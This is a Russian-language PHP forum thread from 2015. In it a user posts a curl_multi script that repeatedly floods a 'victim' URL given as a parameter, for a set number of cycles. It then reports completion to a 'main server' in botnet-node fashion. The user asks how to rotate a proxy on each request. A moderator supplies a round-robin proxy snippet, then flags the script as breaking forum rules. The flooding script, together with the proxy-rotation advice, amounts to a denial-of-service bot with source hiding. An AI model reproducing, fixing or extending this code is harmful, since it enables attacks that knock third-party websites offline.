Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: допишите пожалуста

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Описание: Есть скрипт на curl не могу прикрутить прокси
zloy dyx
Отправлено: 14 Февраля, 2015 - 17:10:04
Post Id



Гость


Покинул форум
Сообщений всего: 103
Дата рег-ции: Авг. 2014  
Откуда: Германия


Помог: 0 раз(а)

[+]


Привет. Есть скрипт на curl
PHP:
скопировать код в буфер обмена
  1.  
  2. <?PHP
  3. $inf11=$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  4. $a11 = explode('?', $inf11);  
  5. $a11 = $a11[0];          //точный адрес этого скрипта
  6. $url1 = $_GET["url"];   //адрес жертвы
  7. $krutisa =$_GET["kol"]; //количиство циклов
  8. $domen ='localhost';    //домен главного сервера
  9. $x = 1;
  10. do {
  11. $urls = array(
  12. $url1, $url1,
  13.  
  14. );
  15. $multi = curl_multi_init();
  16. $channels = array();
  17. foreach ($urls as $url) {
  18.     $ch = curl_init();
  19.     curl_setopt($ch, CURLOPT_URL, $url);
  20. $he = array
  21. (
  22.     'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8',
  23.     'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
  24.     'Accept-Encoding: deflate',
  25.     'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'
  26. );
  27.     curl_setopt($ch, CURLOPT_HEADER, $he);
  28.     curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  29.     curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
  30.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  31.     curl_setopt($curl, CURLOPT_REFERER, $url);
  32.  
  33.     $useragent="Mozila/4.0(compatible; MSIE 6.0; Windows NT 5.1)";
  34.     curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
  35.     curl_multi_add_handle($multi, $ch);
  36.     $channels[$url] = $ch;
  37. }
  38.     $active = null;
  39. do {
  40.     $mrc = curl_multi_exec($multi, $active);
  41. } while ($mrc == CURLM_CALL_MULTI_PERFORM);
  42.  
  43. while ($active && $mrc == CURLM_OK) {
  44.     if (curl_multi_select($multi) == -1) {
  45.         continue;
  46.     }
  47.  
  48.     do {
  49.         $mrc = curl_multi_exec($multi, $active);
  50.     } while ($mrc == CURLM_CALL_MULTI_PERFORM);
  51. }
  52. foreach ($channels as $channel) {
  53.     echo curl_multi_getcontent($channel);
  54.     curl_multi_remove_handle($multi, $channel);
  55. }
  56.  
  57. } while ($x++<$krutisa);
  58. //шлёт ответ главному о завершении
  59. if( $curl = curl_init() ) {
  60.     curl_setopt($curl, CURLOPT_URL, 'http://'.$domen.'/otk.php?1&tip=100&url1='.$a11.'');
  61.     curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
  62.     $useragent="bot/0.9";
  63.     curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
  64.     curl_setopt($curl,CURLOPT_REFERER, "HTTP://bot/0.9");
  65.     $out = curl_exec($curl);
  66.     echo $out;
  67.     curl_close($curl);
  68. }
  69. ?>
  70.  
  71.  
  72.  

ребят не работает юзер агент в первых запросах. Не могу понять по чему...
Как сделать что бы прокси менялся при каждом запросе?

Скрипт другой. поправил

(Отредактировано автором: 16 Февраля, 2015 - 17:32:29)

 
 Top
Мелкий Супермодератор
Отправлено: 14 Февраля, 2015 - 17:47:15
Post Id



Активный участник


Покинул форум
Сообщений всего: 11926
Дата рег-ции: Июль 2009  
Откуда: Россия, Санкт-Петербург


Помог: 618 раз(а)




Для round-robin распределения:
PHP:
скопировать код в буфер обмена
  1. $rProxyList = new InfiniteIterator( new ArrayIterator(array('proxy1', 'proxy2', 'proxy3')) );
  2.  
  3. $rProxyList->rewind();
  4. foreach ($urls as $url) {
  5. ...
  6. curl_setopt($ch, CURLOPT_PROXY, $rProxyList->current());
  7. $rProxyList->next();

(Добавление)
Потерял строку, которая итератор-то двигать должна, дописал.


-----
PostgreSQL DBA
 
 Top
zloy dyx
Отправлено: 16 Февраля, 2015 - 17:02:23
Post Id



Гость


Покинул форум
Сообщений всего: 103
Дата рег-ции: Авг. 2014  
Откуда: Германия


Помог: 0 раз(а)

[+]


Мелкий пишет:
Для round-robin распределения:
PHP:
скопировать код в буфер обмена
  1. $rProxyList = new InfiniteIterator( new ArrayIterator(array('proxy1', 'proxy2', 'proxy3')) );
  2.  
  3. $rProxyList->rewind();
  4. foreach ($urls as $url) {
  5. ...
  6. curl_setopt($ch, CURLOPT_PROXY, $rProxyList->current());
  7. $rProxyList->next();

(Добавление)
Потерял строку, которая итератор-то двигать должна, дописал.

Так и не выйшло вставить...
Я его немножко поправил и теперь не могу задать юзерагента. Точнее он чего то не работает
(Добавление)
Мелкий ну так поправишь мой скрипт?


Отредактировано модератором: Мелкий, 16 Февраля, 2015 - 17:10:25
Скрипт расцениваю как нарушающий правила, пункты 1.6 и 1.7.
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Напишите за меня, пожалуйста »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB